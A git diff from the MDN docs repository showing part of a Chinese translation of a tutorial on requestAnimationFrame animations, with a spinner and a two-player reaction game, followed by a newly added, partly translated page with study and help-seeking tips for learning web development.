<code>requestAnimationFrame()</code> 函数的实际回调也可以被赋予一个参数(一个时间戳值),表示自 <code>requestAnimationFrame()</code> 开始运行以来的时间。这是很有用的,因为它允许您在特定的时间以恒定的速度运行,而不管您的设备有多快或多慢。您将使用的一般模式如下所示:</p> + +<pre class="brush: js notranslate">let startTime = null; + +function draw(timestamp) { + if(!startTime) { + startTime = timestamp; + } + + currentTime = timestamp - startTime; + + // Do something based on current time + + requestAnimationFrame(draw); +} + +draw();</pre> + +<h3 id="浏览器支持">浏览器支持</h3> + +<p> 与<code>setInterval()<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">或</span></font></code><code>setTimeout()</code> 相比最近的浏览器支持<code>requestAnimationFrame()</code></p> + +<p>— <code>requestAnimationFrame()</code>.在Internet Explorer 10及更高版本中可用。因此,除非您的代码需要支持旧版本的IE,否则没有什么理由不使用<code>requestAnimationFrame()</code> 。</p> + +<h3 id="一个简单的例子">一个简单的例子</h3> + +<p>学习上述理论已经足够了,下面让我们仔细研究并构建自己的<code>requestAnimationFrame()</code> 示例。我们将创建一个简单的“旋转器动画”(spinner animation),即当应用程序忙于连接到服务器时可能会显示的那种动画。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 一般来说,像以下例子中如此简单的动画应用CSS动画来实现,这里使用<code>requestAnimationFrame()</code>只是为了帮助解释其用法。<code>requestAnimationFrame()</code>正常应用于如逐帧更新游戏画面这样的复杂动画。</p> +</div> + +<ol> + <li> + <p>首先, 下载我们的<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">网页模板</a>。</p> + </li> + <li> + <p>放置一个空的 {{htmlelement("div")}} 元素进入 {{htmlelement("body")}}, 然后在其中加入一个 ↻ 字符.这是一个将循环的字符将在我们的例子中作为我们的旋转器(spinner)。</p> + </li> + <li> + <p>用任何你喜欢的方法应用下述的CSS到HTML模板中。这些在页面上设置了一个红色背景,将<code><body></code>的高度设置为100%<code><html></code>的高度,并将<code><div></code>水平和竖直居中。</p> + + <pre class="brush: html notranslate">html { + background-color: white; + height: 100%; +} + +body { + height: inherit; + background-color: red; + margin: 0; + display: flex; + justify-content: center; + align-items: center; +} + +div { + display: inline-block; + font-size: 10rem; +}</pre> + </li> + <li> + <p>插入一个 {{htmlelement("script")}}元素在 <code></body> </code>标签之上。</p> + </li> + <li> + <p>插入下述的JavaScript在你的 <code><script> </code>元素中。这里我们存储了一个<div>的引用在一个常量中,设置<code>rotateCount</code>变量为 0, 设置一个未初始化的变量之后将会用作容纳一个<code>requestAnimationFrame()</code> 的调用, 然后设置一个 <code>startTime</code> 变量为 <code>null</code>,它之后将会用作存储 <code>requestAnimationFrame()</code> 的起始时间.。</p> + + <pre class="brush: js notranslate">const spinner = document.querySelector('div'); +let rotateCount = 0; +let rAF; +let startTime = null;</pre> + </li> + <li> + <p>在之前的代码下面, 插入一个 <code>draw()</code> 函数将被用作容纳我们的动画代码,并且包含了 <code>时间戳</code> 参数。</p> + + <pre class="brush: js notranslate">function draw(timestamp) { + +}</pre> + </li> + <li> + <p>在<code>draw()</code>中, 加入下述的几行。 如果起始时间还没有被赋值的话,将<code>timestamp</code> 传给它(这只将发生在循环中的第一步)。 并赋值给<code>rotateCount</code> ,以旋转 旋转器(spinning)(此处取<code>(当前时间戳 – 起始时间戳) / 3</code>,以免它转得太快):</p> + + <pre class="brush: js notranslate"> if (!startTime) { + startTime = timestamp; + } + + rotateCount = (timestamp - startTime) / 3; +</pre> + </li> + <li> + <p>在<code>draw()</code>内我们刚刚添加的代码之后,添加以下代码 — 此处是在检查<code>rotateCount</code> 的值是否超过了<code>359</code> (e.g. <code>360</code>, 一个正圆的度数)。 如果是,与360取模(值除以 <code>360</code> 后剩下的余数),使得圆圈的动画能以合理的低值连续播放。需要注意的是,这样的操作并不是必要的,只是比起类似于“128000度”的值,运行在 0-359 度之间会使你的操作更容易些。</p> + + <pre class="brush: js notranslate">if (rotateCount > 359) { + rotateCount %= 360; +}</pre> + </li> + <li> + <p>接下来,在上一个块下面添加以下行以实际旋转 旋转(spinner)器:</p> + + <pre class="notranslate">spinner.style.transform = `rotate(${rotateCount}deg)`;</pre> + </li> + <li> + <p>在函数<code>draw()</code>内的最下方,插入下面这行代码。这是整个操作中最关键的部分 — 我们将前面定义的变量设置为以<code>draw()</code>函数为参数的活动<code>requestAnimation()</code>调用。 这样动画就开始了,以尽可能接近60 FPS的速率不断地运行<code>draw()</code>函数。</p> + + <pre class="notranslate">rAF = requestAnimationFrame(draw);</pre> + </li> + <li> + <p>在 <code>draw()</code> 函数定义下方,添加对 <code>draw()</code> 函数的调用以启动动画。</p> + </li> + <li> + <pre class="notranslate">draw();</pre> + </li> +</ol> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: You can find this <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">example live on GitHub</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">source code</a> also).</p> +</div> + +<h3 id="撤销requestAnimationFrame">撤销requestAnimationFrame()</h3> + +<p><code>requestAnimationFrame()</code>可用与之对应的<code>cancelAnimationFrame()</code>方法“撤销”(不同于“set…”类方法的“清除”,此处更接近“撤销”之意)。</p> + +<p>该方法以<code>requestAnimationFrame()</code>的返回值为参数,此处我们将该返回值存在变量 <code>rAF</code> 中:</p> + +<pre class="brush: js notranslate">cancelAnimationFrame(rAF);</pre> + +<h3 id="主动学习:_启动和停止旋转器(spinner)">主动学习: 启动和停止旋转器(spinner)</h3> + +<p>在这个练习中,我们希望你能对<code>cancelAnimationFrame()</code>方法做一些测试,在之前的示例中添加新内容。你需要在示例中添加一个事件监听器,用于当鼠标在页面任意位置点击时,启动或停止旋转器。 </p> + +<p>一些提示:</p> + +<ul> + <li>包含<code><body></code>在内大多数元素都可以添加<code>click</code>事件处理器<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">。为了使可点击区域最大化,直接监听</span></font><code><body></code>元素的事件是更有效的,因为事件可以冒泡到其子元素。</li> + <li>你可能需要添加一个追踪用变量来检测旋转器是否在旋转。该变量若为真,则清除动画帧;若为假,则重新调用函数。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 先自己尝试一下,如果你确实遇到困难,可以参看我们的<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/start-and-stop-spinner.html">在线示例</a>和<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/start-and-stop-spinner.html">源代码</a>。</p> +</div> + +<h3 id="限制_节流_requestAnimationFrame动画">限制 (节流) requestAnimationFrame()动画</h3> + +<p>requestAnimationFrame() 的限制之一是无法选择帧率。在大多数情况下,这不是问题,因为通常希望动画尽可能流畅地运行。但是,当要创建老式的8位类型的动画时,怎么办?</p> + +<p>例如,在我们的 <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing Graphics</a> 文章中的猴子岛行走动画中的一个问题:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}</p> + +<p>在此示例中,必须为角色在屏幕上的位置及显示的精灵设置动画。精灵动画中只有6帧。如果通过 <code>requestAnimationFrame()</code> 为屏幕上显示的每个帧显示不同的精灵帧,则 Guybrush 的四肢移动太快,动画看起来很荒谬。因此,此示例使用以下代码限制精灵循环的帧率:</p> + +<pre class="brush: js notranslate">if (posX % 13 === 0) { + if (sprite === 5) { + sprite = 0; + } else { + sprite++; + } +}</pre> + +<p>因此,代码每13个动画帧循环一次精灵。</p> + +<p>...实际上,大约是每 6.5 帧,因为我们将每帧更新 <code>posX</code> 2个单位值(角色在屏幕上的位置)</p> + +<pre class="brush: js notranslate">if(posX > width/2) { + newStartPos = -( (width / 2) + 102 ); + posX = Math.ceil(newStartPos / 13) * 13; + console.log(posX); +} else { + posX += 2; +}</pre> + +<p>这是用于计算如何更新每个动画帧中的位置的代码。</p> + +<p>用于限制动画的方法将取决于特定代码。例如,在前面的旋转器实例中,可以通过仅在每帧中增加 rotateCount 一个单位(而不是两个单位)来使其运动速度变慢。</p> + +<h2 id="主动学习:反应游戏">主动学习:反应游戏</h2> + +<p>对于本文的最后部分,将创建一个 2 人反应游戏。游戏将有两个玩家,其中一个使用 <kbd>A</kbd> 键控制游戏,另一个使用 <kbd>L</kbd> 键控制游戏。</p> + +<p>按下 <em>开始</em> 按钮后,像前面看到的旋转器那样的将显示 5 到 10 秒之间的随机时间。之后将出现一条消息,提示 “PLAYERS GO!!”。一旦这发生,第一个按下其控制按钮的玩家将赢得比赛。</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}}</p> + +<p>让我们来完成以下工作:</p> + +<ol> + <li> + <p>首先,下载 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game-starter.html">starter file for the app</a> 。其中包含完成的 HTML 结构和 CSS 样式,为我们提供了一个游戏板,其中显示了两个玩家的信息(如上所示),但 spinner 和 结果段落重叠显示,只需要编写 JavaScript 代码。</p> + </li> + <li> + <p>在页面上空的 {{htmlelement("script")}} 元素里,首先添加以下几行代码,这些代码定义了其余代码中需要的一些常量和变量:</p> + + <pre class="brush: js notranslate">const spinner = document.querySelector('.spinner p'); +const spinnerContainer = document.querySelector('.spinner'); +let rotateCount = 0; +let startTime = null; +let rAF; +const btn = document.querySelector('button'); +const result = document.querySelector('.result');</pre> + + <p>这些是:</p> + + <ol> + <li>对旋转器的引用,因此可以对其进行动画处理。</li> + <li>包含旋转器 {{htmlelement("div")}} 元素的引用。用于显示和隐藏它。</li> + <li>旋转计数。这确定了显示在动画每一帧上的旋转器旋转了多少。</li> + <li>开始时间为null。当旋转器开始旋转时,它将赋值为 开始时间。</li> + <li>一个未初始化的变量,用于之后存储使 旋转器 动画化的 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} 调用。</li> + <li>开始按钮的引用。</li> + <li>结果字段的引用。</li> + </ol> + </li> + <li> + <p>接下来,在前几行代码下方,添加以下函数。它只接收两个数字并返回一个在两个数字之间的随机数。稍后将需要它来生成随机超时间隔。</p> + + <pre class="brush: js notranslate">function random(min,max) { + var num = Math.floor(Math.random()*(max-min)) + min; + return num; +}</pre> + </li> + <li> + <p>接下来添加 <code>draw()</code> 函数以使 旋转器 动画化。这与之前的简单旋转器示例中的版本非常相似:</p> + + <pre class="brush: js notranslate"> function draw(timestamp) { + if(!startTime) { + startTime = timestamp; + } + + let rotateCount = (timestamp - startTime) / 3; + + if(rotateCount > 359) { + rotateCount %= 360; + } + + spinner.style.transform = 'rotate(' + rotateCount + 'deg)'; + rAF = requestAnimationFrame(draw); + }</pre> + </li> + <li> + <p>现在是时候在页面首次加载时设置应用程序的初始状态了。添加以下两行,它们使用 <code>display: none;</code> 隐藏结果段落和旋转器容器。</p> + + <pre class="brush: js notranslate">result.style.display = 'none'; +spinnerContainer.style.display = 'none';</pre> + </li> + <li> + <p>接下来,定义一个 <code>reset()</code> 函数。该函数在游戏结束后将游戏设置回初始状态以便再次开启游戏。在代码底部添加以下内容:</p> + + <pre class="brush: js notranslate">function reset() { + btn.style.display = 'block'; + result.textContent = ''; + result.style.display = 'none'; +}</pre> + </li> + <li>好的,准备充分!现在该使游戏变得可玩了!将以下代码块添加到代码中。 <code>start()</code> 函数调用 <code>draw()</code> 以启动 旋转器,并在UI中显示它,隐藏“开始”按钮,这样您就无法通过同时启动多次来弄乱游戏,并运行一个经过5到10秒的随机间隔后,会运行 <code>setEndgame()</code> 函数的 <code>setTimeout()</code> 。下面的代码块还将一个事件侦听器添加到按钮上,以在单击它时运行 <code>start()</code> 函数。 + <pre class="notranslate">btn.addEventListener('click', start); + +function start() { + draw(); + spinnerContainer.style.display = 'block'; + btn.style.display = 'none'; + setTimeout(setEndgame, random(5000,10000)); +}</pre> + </li> + <li>添加以下方法到代码:</li> +</ol> + +<pre class="brush: js notranslate">function setEndgame() { + cancelAnimationFrame(rAF); + spinnerContainer.style.display = 'none'; + result.style.display = 'block'; + result.textContent = 'PLAYERS GO!!'; + + document.addEventListener('keydown', keyHandler); + + function keyHandler(e) { + console.log(e.key); + if(e.key === 'a') { + result.textContent = 'Player 1 won!!'; + } else if(e.key === 'l') { + result.textContent = 'Player 2 won!!'; + } + + document.removeEventListener('keydown', keyHandler); + setTimeout(reset, 5000); + }; +}</pre> + +<p>逐步执行以下操作:</p> + +<ol> + <li>首先通过 {{domxref("window.cancelAnimationFrame", "cancelAnimationFrame()")}} 取消 旋转器 动画(清理不必要的流程总是一件好事),隐藏 旋转器 容器。</li> + <li>接下来,显示结果段落并将其文本内容设置为“ PLAYERS GO !!”。向玩家发出信号,表示他们现在可以按下按钮来取胜。</li> + <li>将 <code><a href="/en-US/docs/Web/API/Document/keydown_event">keydown</a></code> 事件侦听器附加到 document。当按下任何按钮时,<code>keyHandler()</code> 函数将运行。</li> + <li>在 <code>keyHandler()</code> 里,在 <code>keyHandler()</code> 内部,代码包括作为参数的事件对象作为参数(用 <code>e</code> 表示)- 其 {{domxref("KeyboardEvent.key", "key")}} 属性包含刚刚按下的键,可以通过这个对象来对特定的操作和特定的按键做出响应。</li> + <li>将变量 <code>isOver</code> 设置为 <code>false</code> ,这样我们就可以跟踪是否按下了正确的按键以使玩家1或2获胜。我们不希望游戏在按下错误的键后结束。</li> + <li>将 <code>e.key</code> 输出到控制台,这是找出所按的不同键的键值的有用方法。</li> + <li>当 <code>e.key</code> 为“ a”时,显示一条消息说玩家1获胜;当 <code>e.key</code> 为“ l”时,显示消息说玩家2获胜。 (注意:这仅适用于小写的a和l - 如果提交了大写的 A 或 L(键加上 <kbd>Shift</kbd>),则将其视为另一个键!)如果按下了其中一个键,请将 <code>isOver</code> 设置为 <code>true</code> 。</li> + <li>仅当 <code>isOver</code> 为 <code>true</code> 时,才使用 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} 删除 <code>keydown</code> 事件侦听器,以便一旦产生获胜的按键,就不再有键盘输入可以弄乱最终游戏结果。您还可以使用 <code>setTimeout()</code> 在5秒钟后调用 <code>reset()</code>-如前所述,此函数将游戏重置为原始状态,以便可以开始新游戏。</li> +</ol> + +<p>就这样-一切都完成了!</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 如果卡住了, check out <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html">our version of the reaction game</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game.html">source code</a> also).</p> +</div> + +<h2 id="结论">结论</h2> + +<p>就是这样-异步循环和间隔的所有要点在一篇文章中介绍了。您会发现这些方法在许多情况下都很有用,但请注意不要过度使用它们!因为它们仍然在主线程上运行,所以繁重的回调(尤其是那些操纵DOM的回调)会在不注意的情况下降低页面的速度。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li> +</ul> diff --git a/files/zh-cn/learn/learning_and_getting_help/index.html b/files/zh-cn/learn/learning_and_getting_help/index.html new file mode 100644 index 0000000000..8f5cc98a8a --- /dev/null +++ b/files/zh-cn/learn/learning_and_getting_help/index.html @@ -0,0 +1,315 @@ +--- +title: 学习和获得帮助 +slug: learn/Learning_and_getting_help +translation_of: Learn/Learning_and_getting_help +--- +<p>[学习侧栏]</p> + +<p>这是伟大的,你投入一些时间学习一套新的技能,但有好的做法,采用,将使你的学习更有效。有时,您也会陷入困境并感到沮丧,即使是专业的 Web 开发人员也会经常这样,因此,了解最有效的方法,尝试获得帮助,以便您能够继续工作,是值得付出的。本文在这两个方面提供了一些提示和提示,可帮助您从学习 Web 开发中获得更多内容,并进一步阅读,以便您能够找到有关每个子主题的详细信息(如果您愿意)。</p> + +<h2 id="有效学习">有效学习</h2> + +<p>让我们直接思考一下有效的学习。</p> + +<h3 id="不同的学习方法">不同的学习方法</h3> + +<p>有趣的是,你的大脑学习东西有两种主要方式——专注<strong>和</strong><strong>分散学习</strong>:</p> + +<ul> + <li>重点学习是您传统上可能与学术科目联系在一起的东西。你专注于一个低级的话题,并解决它带来的具体问题。你专注于一个狭窄的区域。</li> + <li>分散学习更多的是与围绕更广领域的高层次思维有关。你让你的头脑游荡更广,似乎在不同事物之间随机联系。这更多的是你在洗澡时或喝咖啡休息时的想法。</li> +</ul> + +<p>从神经科学家对大脑活动所做的研究中,我们发现,你不能同时参与两种学习或思考的方式。那么,你应该选择哪一个呢?你可能认为集中学习更适合学习,但在现实中,<strong>两者</strong>都很重要。</p> + +<p>专注思维对于将精力集中在特定主题上,深入解决问题,以及提高你对所需技术的掌握——加强大脑中存储信息的神经通路——都很棒。然而,当你试图理解新学科或解决以前没有遇到的新问题时,它并不善于理解"大局",并解锁新的神经通路。</p> + +<p>为此,你需要漫不由多的思考。这与焦点正好相反——你让你的大脑在更广阔的环境中游荡,四处寻找你之前没有的联系,接触新事物(或新事物的新组合),然后你可以关注这些事物,加强它们,并开始真正理解它们的意思。</p> + +<p>这就是为什么在进入具体细节之前,先阅读一些介绍性材料,以便对一个领域有一个高度的了解,这通常是好的。</p> + +<p>这也是为什么你有时真的可以陷入一个问题,但随后找出答案,当你去喝咖啡休息(或散步)。您可以:</p> + +<ol> + <li>知道如何使用工具 A 解决问题 A。</li> + <li>知道如何用工具 B 解决问题 B。</li> + <li>不知道如何解决问题 C 。</li> +</ol> + +<p>假设您一直专注于问题 C,然后感到沮丧,因为您无法思考如何解决它。但是,在散步获得新鲜空气后,你可能会发现,当你的头脑徘徊,你突然使工具 A 和工具 B 之间的连接,并意识到你可以使用它们一起解决问题 C!它并不总是这么简单,但它也令人惊讶的是多少次,这确实发生了。这也凸显了在电脑前学习时定期休息的重要性。</p> + +<h3 id="不同的学习材料">不同的学习材料</h3> + +<p>也值得看看可用的不同类型的学习材料,看看哪些材料对您来说最有效。</p> + +<h4 id="文本文章">文本文章</h4> + +<p><font>你会发现很多书面文章在网上教你有关网页设计。例如,像本课程的多数课程一样。有些文章将是教程,教你某种技术或重要概念(如"学习如何创建视频播放器"或"学习CSS框模型"),有些文章将是参考材料,允许您查找您可能忘记的细节(如"CSS属性的语法是什么"?</font><code>background</code></p> + +<p>MDN Web 文档对这两种类型都非常好 - 您当前位于的区域非常适合学习技术和概念,我们还有几个巨大的参考部分,允许您查找任何您不记得的语法。</p> + +<p>网上还有其他几个伟大的资源,我们将在下面提及其中一些资源。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:上面的文本应该给你一个重要的事实 - 你不应该记住一切!专业的 Web 开发人员使用 MDN Web 文档等工具查找他们一直忘记的内容。正如您会发现,学习 Web 开发更多的是关于问题解决和学习模式,而不是学习大量语法。</p> +</div> + +<h4 id="Videos">Videos</h4> + +<p>There are also a number of sites that have video learning content on them. YouTube is an obvious one, with channels such as <a href="https://www.youtube.com/channel/UC7TizprGknbDalbHplROtag">Mozilla Layout Land</a>, <a href="https://www.youtube.com/MozillaDeveloper">MozillaDeveloper</a>, and <a href="https://www.youtube.com/user/ChromeDevelopers/">Google ChromeDevelopers</a> providing many useful videos. Many people prefer textual articles for more in-depth learning and reference material, and videos for quick explanations of concepts and new features, but it is really up to you what you prefer to learn from. There is no right and wrong answer here.</p> + +<h4 id="Interactive_code_playgrounds">Interactive code playgrounds</h4> + +<p>You might be the kind of person that prefers minimal instructions and would prefer to jump straight in and start playing with code. This is also a reasonable approach, and some learning sites tend to favor it. <a href="https://www.codecademy.com/">Codecademy</a> for example is a learning site where the tutorials mainly consist of interactive code editors where you have to directly write code and see if the desired result was achieved.</p> + +<p>Many MDN Web docs reference pages provide interactive examples too, where you can alter the code and see how the live result changes. And there is also nothing wrong with creating your own code examples on your computer, or in an online code editor like <a href="https://jsbin.com/?html,css,js,output">JSBin</a>, <a href="https://codepen.io/">Codepen</a>, or <a href="https://glitch.com/">Glitch</a>. In fact, you'll be called to do so as part of this course when you are learning!</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Online code editors are also really useful for sharing code you've written, for example, if you are collaborating on learning with someone else who isn't in the same location, or are sending it someone to ask for help with it. You can share the web address of the example with them so they can see it.</p> +</div> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: You might favor one learning method over the others, but realistically a hybrid approach is probably what you will end up with. And you'll probably come up with other methods than the three we covered above.</p> +</div> + +<h3 id="Making_a_plan">Making a plan</h3> + +<p>It is a good idea to create a plan to help you achieve what you want to achieve through your learning.</p> + +<h4 id="A_goal_statement">A goal statement</h4> + +<p>It sounds silly, but why not start with a single sentence that says what you want to achieve? The following have different scopes, but are all realistic and achievable:</p> + +<ul> + <li>I want to become a professional web developer in two years' time.</li> + <li>I want to learn enough to build a website for my local amateur tennis club.</li> + <li>I want to learn HTML and CSS so I can expand my job role to take over updating the content on our company website.</li> +</ul> + +<p>The following are not quite as reasonable:</p> + +<ul> + <li>I want to go from a complete beginner to becoming a senior web developer in three months.</li> + <li>I want to start my own company and build a social network that will out-perform Facebook, in two years.</li> +</ul> + +<h4 id="What_do_you_need_to_get_there">What do you need to get there?</h4> + +<p>Once you've worked out your goal, it is a good idea to research what you'll need to achieve the goal. For example:</p> + +<p>Materials I need:</p> + +<ul> + <li>A computer</li> + <li>Internet access</li> + <li>Pens and paper</li> +</ul> + +<p>Knowledge I need:</p> + +<ul> + <li>How to use HTML, CSS, JavaScript, and associated tools and best practices to build web sites and web applications (we can definitely help you with this one!).</li> + <li>How to get a domain, hosting, and use them to put a web site or application online.</li> + <li>How to run a small business.</li> + <li>How to advertise my business and attract clients.</li> +</ul> + +<h4 id="How_much_time_and_money_will_it_take">How much time and money will it take?</h4> + +<p>Estimate the time and cost of getting these things. If you'll need to work to earn money to buy the materials required, then the time to do that will have to be factored in. Once you have a time estimate, you can start to build a plan around your life.</p> + +<h4 id="How_many_hours_per_week_do_I_need_to_dedicate">How many hours per week do I need to dedicate?</h4> + +<p>Once you know what you need to do, and how long you think it'll take you, you can start writing out a plan to follow to achieve your goal. It can be as simple as:</p> + +<p>"It'll take me 500 hours to learn what I need to know, and I have a year to do it. If I assume 2 weeks of holiday, I'll need to do work on this for 10 hours per week. I am free on evenings and weekends, so I'll plan my time around those."</p> + +<p>How much time you can spend on this of course depends on what your circumstances are. If you are at school, then you've got way more free time than if you have a job and children to provide for. It is still possible to achieve your goals, but you have to be realistic about how quickly you can do it.</p> + +<p>If you are doing a university or college course to learn web development, then most of this planning is done for you — lucky you!</p> + +<p>When you have worked out a weekly schedule then you should keep a record of what you manage to do each week in a simple spreadsheet or even in a notebook!</p> + +<p>Also, it might be a good idea to have some sub-goals worked out to allow you to keep track of where you are more easily. For example:</p> + +<ul> + <li>HTML and CSS basics learned by summer</li> + <li>JavaScript basics learned by December</li> + <li>Example website project built by next April</li> + <li>etc.</li> +</ul> + +<p>Keep thinking about how much progress you are making, and adjust your plan if needs be.</p> + +<h3 id="Staying_motivated">Staying motivated</h3> + +<p>It is hard to stay motivated, especially if you are trying to learn a complex skill like programming or web development. What follows are some tips to stay motivated and keep working:</p> + +<ul> + <li><strong>Try to make your work environment as productive as possible</strong>. Get a comfortable desk and chair to work in, make sure you have enough light to see what you are doing, and try to include things that help you concentrate (e.g. mellow music, fragrances, whatever else you need). Don't try to work in a room with distractions — for example a television on, with your friends watching football! Also, leave your mobile phone out of the room — most people are distracted by their phone a lot, so you should leave it somewhere else.</li> + <li><strong>Take regular breaks</strong>. It is not good for your motivation to keep working away for hours with no break, especially if you are finding it hard or getting stuck on a problem. That just leads to frustration. It is often better to take a break, move around for a bit, then relax with a drink before getting back to work. And as we said earlier, the diffuse learning you do during that time can often help you to figure out a solution to the problem you were facing. It is also physically bad to work for too long without a break; looking at a monitor for too long can hurt your eyes, and sitting still for too long can be bad for your back or legs. We'd recommend taking a 15-minute break every hour to 90 minutes.</li> + <li><strong>Eat, exercise, and sleep</strong>. Eat healthily, get regular exercise, and make sure you get enough sleep. This sounds obvious, but it is easy to forget when you get really into coding. Factor these essential ingredients into your schedule, and make sure you are not scheduling more learning time instead of these things.</li> + <li><strong>Give yourself rewards</strong>. It's true that <em>all work and no play makes Jack a dull boy</em>. You should try to schedule fun things to do after each learning session, which you'll only have when the learning is over and complete. If you are really into gaming, for example, there is something quite motivating about saying "no gaming tonight unless I get through my 5 hours of learning". Now all you need is willpower. Good luck!</li> + <li><strong>Co-learning and demoing</strong>. This won't be an option for everyone, but if at all possible try to learn alongside others. Again, this is easier if you are doing a college course on web development, but perhaps you could convince a friend to learn along with you, or find a local meetup or skill-sharing group? It is really useful and motivating to have someone to discuss ideas with and ask for help, and you should also take time to demo your work. Those shouts of appreciation will spur you on.</li> +</ul> + +<h3 id="Effective_problem_solving">Effective problem solving</h3> + +<p>There is no one effective way to solve all problems (and learn all things) associated with web design and development, but there are some general bits of advice that will serve you well in most cases.</p> + +<h4 id="Break_things_down_into_chunks">Break things down into chunks</h4> + +<p>For a start, when you are trying to implement something specific and it seems really hard to get your head around, you should try to break it down into multiple smaller problems or chunks.</p> + +<p>For example, if you are looking at a task of "Build a simple two-column website", you could break it down as follows:</p> + +<ul> + <li>Create the HTML structure</li> + <li>Work out basic site typography</li> + <li>Work out a basic color scheme</li> + <li>Implement a high-level layout — header, horizontal navigation menu, main content area with main and side columns, and footer</li> + <li>Implement a horizontal navigation menu</li> + <li>etc.</li> +</ul> + +<p>Then you could break it down further. For example, "Implement horizontal navigation menu" could be written out as:</p> + +<ul> + <li>Make a list of menu items that sit horizontally in a line.</li> + <li>Remove unneeded defaults, like list spacing and bullet points.</li> + <li>Style hover/focus/active states of menu items appropriately.</li> + <li>Make the menu items equally spaced along the line.</li> + <li>Give the menu items enough vertical spacing.</li> + <li>Make sure the text is centered inside each menu item</li> + <li>etc.</li> +</ul> + +<p>Each of these problems doesn't seem nearly as difficult to solve as the one big problem you had initially. Now you've just got to go through and solve them all!</p> + +<h4 id="Learn_and_recognize_the_patterns">Learn and recognize the patterns</h4> + +<p>As we said before, web design/programming is mostly about problem solving and patterns. Once you have written out what you'll need to do to solve a specific problem, you can start to figure out what technology features to use to solve it. For example, professional web developers have created lots of horizontal navigation menus, so they'll immediately start thinking of a solution like this:</p> + +<p>A nav menu is usually created from a list of links, something like:</p> + +<pre class="brush: html notranslate"><ul> + <li>First menu item</li> + <li>Second menu item</li> + <li>Third menu item</li> + <li>etc.</li> +</ul> +</pre> + +<p>To make all the items sit horizontally on a line, the easiest modern way is to use flexbox:</p> + +<pre class="brush: css notranslate">ul { + display: flex; +}</pre> + +<p>To remove unneeded spacing and bullet points, we can do this:</p> + +<pre class="brush: css notranslate">ul { + list-style-type: none; + padding: 0; +}</pre> + +<p>etc.</p> + +<p>If you are a complete beginner to web development, you'll have to do some study and web searches and lookup solutions to such problems. If you are a professional web developer you'll probably remember the last time you solved a similar problem, and only have to look up a few bits of the syntax that you forgot since then.</p> + +<p>When you find solutions to such problems, it is worth writing down notes on what you did, and keeping some minimal code examples in a directory somewhere so you can look back on previous work.</p> + +<p>In addition, the web has <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools</a> that allow you to look at the code used to build any site on the web. If you don't have a solution to hand, one good research method is to find websites with similar features in the wild, and find out how they did it.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Notice how above we talked about the problem we are trying to solve first, and the technology used to solve it second. This is pretty much always the best way to do it — don't start with a cool new technology that you want to use, and try to shoehorn it into the use case.</p> +</div> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: The simplest solution is often the best.</p> +</div> + +<h3 id="Getting_practice">Getting practice</h3> + +<p>The more you practice solving a problem, the stronger your brain's neural pathways are in that area, and the easier it becomes to recall the details and the logic of that particular problem.</p> + +<p>Keep tinkering with code and getting more practice. If you run out of problems to solve, look up some tests online, do some more courses, or ask your friends and family (or local school or church) if there is anything they'd like you to build for them.</p> + +<h2 dir="ltr" id="Getting_help">Getting help</h2> + +<p dir="ltr">Web development requires you to learn a complex set of skills — you are bound to get stuck sometimes and need help. As we said before, even professional developers need regular help working out issues.</p> + +<p dir="ltr">There are a variety of ways to get help, and what follows are some tips for doing so more effectively.</p> + +<h3 dir="ltr" id="Effective_web_searches">Effective web searches</h3> + +<p dir="ltr">One important skill to learn is the art of effective web searches — what search terms do you need to use in your favorite search engine to find the articles you need? </p> + +<p dir="ltr">It is often fairly obvious what to search for. For example:</p> + +<ul dir="ltr"> + <li>If you want to find out more about responsive web design, you could search for "responsive web design".</li> + <li><font>If you want to find out more about a specific technology feature, such as the HTML element, or the CSS or properties, or the JavaScript method, you should just search for the feature's name.</font><code><video></code><code>background-color</code><code>opacity</code><code>Date.setTime()</code></li> + <li>If you are looking for some more specific information, you can add other keywords as modifiers, for example "<video> element autoplay attribute", or "Date.setTime parameters".</li> +</ul> + 